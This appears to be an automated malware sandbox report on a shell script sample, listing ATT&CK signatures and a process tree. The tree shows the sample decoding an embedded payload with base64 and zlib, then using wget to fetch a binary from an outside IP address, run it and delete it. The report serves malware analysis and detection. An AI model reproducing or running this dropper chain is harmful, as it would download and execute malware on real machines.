Analysis
- max time kernel
150s - max time network
141s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
13/09/2026, 17:19
General
- Target a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_offset-manipulation.sh
- Size 832KB
- Sample260913-vvy5csszf1
- SHA256 5b716c269c91722f9fc2b6c9d7b810b399f25e57130fee21688c001931978772
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs
Adversaries may deobfuscate or decode files or information to evade detection mechanisms.
- System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_offset-manipulation.sh/tmp/a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_offset-manipulation.sh1⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
/bin/mktempmktemp -d2⤵
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/python3python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "2⤵
-
-
/bin/chmodchmod +x /tmp/tmp.uV4XncPXbs/embedded.sh2⤵
- File and Directory Permissions Modification
-
-
/bin/bashbash /tmp/tmp.uV4XncPXbs/embedded.sh1⤵
-
/usr/bin/wgetwget http://192.227.183.143/m-i.p-s.ISIS2⤵
-
-
/bin/chmodchmod +x m-i.p-s.ISIS2⤵
- File and Directory Permissions Modification
-
-
/run/m-i.p-s.ISIS./m-i.p-s.ISIS2⤵
-
-
/bin/rmrm -rf m-i.p-s.ISIS2⤵
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
sh-thd.VWBQLg
embedded.sh